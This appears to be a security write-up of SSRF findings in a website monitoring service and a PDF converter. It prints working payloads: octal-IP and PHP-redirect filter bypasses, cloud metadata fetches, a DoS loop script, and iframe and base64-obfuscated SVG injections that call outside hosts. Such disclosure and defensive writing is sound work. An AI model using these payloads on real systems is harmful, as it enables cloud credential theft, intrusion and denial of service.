Introduction

Server-Side Request Forgery (SSRF) attacks have become a significant concern in the realm of cybersecurity. In this article, we examine real-life instances of SSRF attacks observed in the wild.

By analyzing these scenarios, we aim to gain insights into the tactics employed by attackers, the potential consequences, and the preventive measures organizations can implement to defend against such threats.

Attacking Monitoring Agents Across the World

In one real-life scenario, an insidious Server-Side Request Forgery (SSRF) attack targeted a network monitoring service responsible for assessing the availability of clients' websites from various global locations.

To carry out their malicious intent, the attacker exploited the service's reliance on servers hosted in different geographical areas, encompassing both cloud and enterprise environments.

By examining this scenario, we uncover the methods employed by the attacker to compromise the monitoring agents dispersed worldwide. Furthermore, we explore the potential ramifications of such an attack and discuss the preventive measures organizations can adopt to fortify their systems against SSRF threats.

Exploiting Blind SSRF in a Comprehensive Monitoring Service

In this real-life scenario, a comprehensive website monitoring service was targeted, offering users the ability to monitor various layers of a target IP, including DNS, network, routing, voice, and web services. During an investigation, attention was drawn to a specific web feature that allowed the discovery of the first blind SSRF vulnerability.

Upon discovering a function that checked for the availability of an HTTP service on a remote IP, attempts were made to provide an internal IP. Initially, direct usage of the internal IP failed.

However, two simple bypass techniques were uncovered. The first bypass involved using the octal representation of the internal IP (e.g., http://127.0.0.1 became http://017700000001), which successfully circumvented the restriction. The second bypass involved exploiting a server-side redirection by hosting the following code on a web site we control <?php header("location : http://127.0.0.1");?>

bypassing the restriction as well. These techniques allowed for the successful exploitation of a blind SSRF vulnerability (blind at the moment).

To further explore the impact, an internal application was required for a proof of concept. After a brief examination, it was discovered that certain agents responsible for monitoring were hosted on cloud infrastructure. Choosing one of these cloud-based agents as a testing agent, The metadata URL returned a response code of 200, indicating a successful interaction with an internal application.

Leveraging The Blind SSRF To a High impact SSRF

After thorough investigation within the monitoring service, our team uncovered an additional option that had significant implications. This particular feature allowed us to load the content of the target HTTP server and capture screenshots. Realizing the potential impact, we realized that by leveraging the blind SSRF vulnerability, we could elevate it to a high-impact exploit.

With this newfound knowledge, we embarked on a mission to fully exploit the vulnerability. Our goal was to utilize the SSRF to extract valuable information and potentially cause significant disruption to the target. This marked a crucial turning point, as we prepared to push the boundaries of the monitoring service's vulnerability, discovering its true potential along the way.

Further More :Monitoring Scripts

During the enumeration process of the application's functionality, we stumbled upon a valuable discovery: "Monitoring Scripts." It was a limited Node.js environment that piqued our interest. However, attempts to exploit it for Remote Code Execution (RCE) or Local File Inclusion (LFI) proved fruitless due to several limitations imposed on us:

The code executed within a sandbox environment.

We were only permitted to use specific npm packages that supported the intended monitoring functionality.

Although we couldn't achieve our desired goals, we did manage to uncover a known SSRF (Server-Side Request Forgery) vulnerability using a script. However, it didn't provide any groundbreaking or novel results. The script involved making HTTP requests and taking screenshots:

import { By, Key, until } from 'selenium-webdriver';
import { redacted, ... } from 'redacted package';
runScript();
async function runScript() {
  await redacted.get("http://169.254.169.254/metadata/v1.json");
  await redacted.screenshot();
};

Unsatisfied with the initial findings, we decided to explore the loop functions within the script to attempt a Denial of Service (DoS) attack on both the agent itself and an external target. We selected multiple agents to execute the same script simultaneously

import { By, Key, until } from 'selenium-webdriver';
import { redacted, ... } from 'redacted package';
runScript();
async function runScript() {
  let i = 0;
  while (i <= 10000) {
    await redacted.get("Target");
  }
};

This allowed us to conduct various tests, targeting both the agents themselves and external URLs. It was a fascinating exploration into the capabilities and limitations of the monitoring service, shedding light on potential security risks associated with the loop functions and their impact on the overall system.

Dynamic PDFs - Server Side XSS

During our investigation of a dynamic PDF conversion function, we uncovered a potential vulnerability related to Server-Side Request Forgery (SSRF). Our target, which relied on a third-party service for PDF conversion, caught our attention.

To gauge its susceptibility, we initiated a simple payload, <h1>Test, which astonishingly appeared as a header in the resulting PDF file. Encouraged by this discovery, we decided to explore the possibility of accessing internal applications using an iframe. Our first attempt, with the iframe source set to http://redacted.burpcollaborator.net,

<iframe src="http://redacted.burpcollaborator.net"></iframe>

proved successful, as the PDF reflected the content from our Burp Collaborator instance.

Eager to push the limits further, we sought to retrieve the content of an internal page. However, our attempts were thwarted by the Web Application Firewall (WAF), which blocked requests containing the meta-data URL. Despite trying various formats, we were unable to bypass the restriction directly. Nevertheless, we devised a workaround by utilizing a server-side redirection.

We hosted an exploit on a server we controlled, containing the following iframe code:

<iframe src="http://server-host"></iframe>


In addition, we included the following PHP code snippet to enable the servr-side redirection:

<?php header("location: http://meta-data-url"); ?>


By including this modified iframe code in the PDF, with the source set to our server, the redirection triggered successfully, effectively bypassing the WAF. As a result, we gained control over the AWS server, achieving our objective.

Retesting

During the retesting phase, the team's solution to the previous iframe bypass was simply removing the iframe tags from the requests. However, we devised a clever workaround by injecting a JavaScript code into the application, allowing us to add iframes to the page. Our payload utilized an SVG tag with an onload event, executing JavaScript code to modify the HTML body and add the desired iframe:

<svg onload='document.body.innerHTML=atob("PGlmcmFtZSBz cmM9Imh0dHA6Ly80Ni4xMDEuMjQxLjcyLyIgaHJlZj0iaHR0cDovLzQ2LjEwMS4yNDEuNzIvIiB3aWR0aD0iMzAwMCIgaG VpZ2h0PSIzMDAwIj48L2lmcmFtZT4g")'>

The JavaScript code within the SVG tag decodes the base64-encoded iframe exploitation code and replaces the content of the HTML body with the decoded iframe. This allowed us to inject the desired iframe into the page.

To address this vulnerability, we recommended disabling JavaScript during the rendering process. By disabling JavaScript, the injected code would not execute, effectively mitigating the issue and preventing the injection of iframes.

Conclusion

SSRF (Server-Side Request Forgery) attacks have emerged as a significant threat in the cybersecurity landscape. This article explored real-life scenarios where SSRF attacks were observed, shedding light on the methods employed by attackers, the potential impact of their actions, and the countermeasures that organizations can implement to safeguard against such threats.

From attacking monitoring agents across the world to exploiting blind SSRF in a comprehensive monitoring service, we witnessed how adversaries leveraged SSRF vulnerabilities to compromise systems, gain unauthorized access to sensitive data.

Additionally, we explored the risks associated with third-party services, such as PDF conversion functions. Through clever manipulation and the utilization of SSRF, attackers were able to inject malicious content, access internal applications, and gain control over critical infrastructure.

To defend against SSRF attacks, organizations must prioritize robust security measures. This includes implementing strict input validation, whitelisting allowed URLs, and ensuring proper user access controls. Regular security assessments, vulnerability scanning, and patches for known vulnerabilities are crucial to maintaining a secure environment.

Furthermore, educating developers, system administrators, and end-users about the risks and preventive measures associated with SSRF attacks can help mitigate these threats effectively.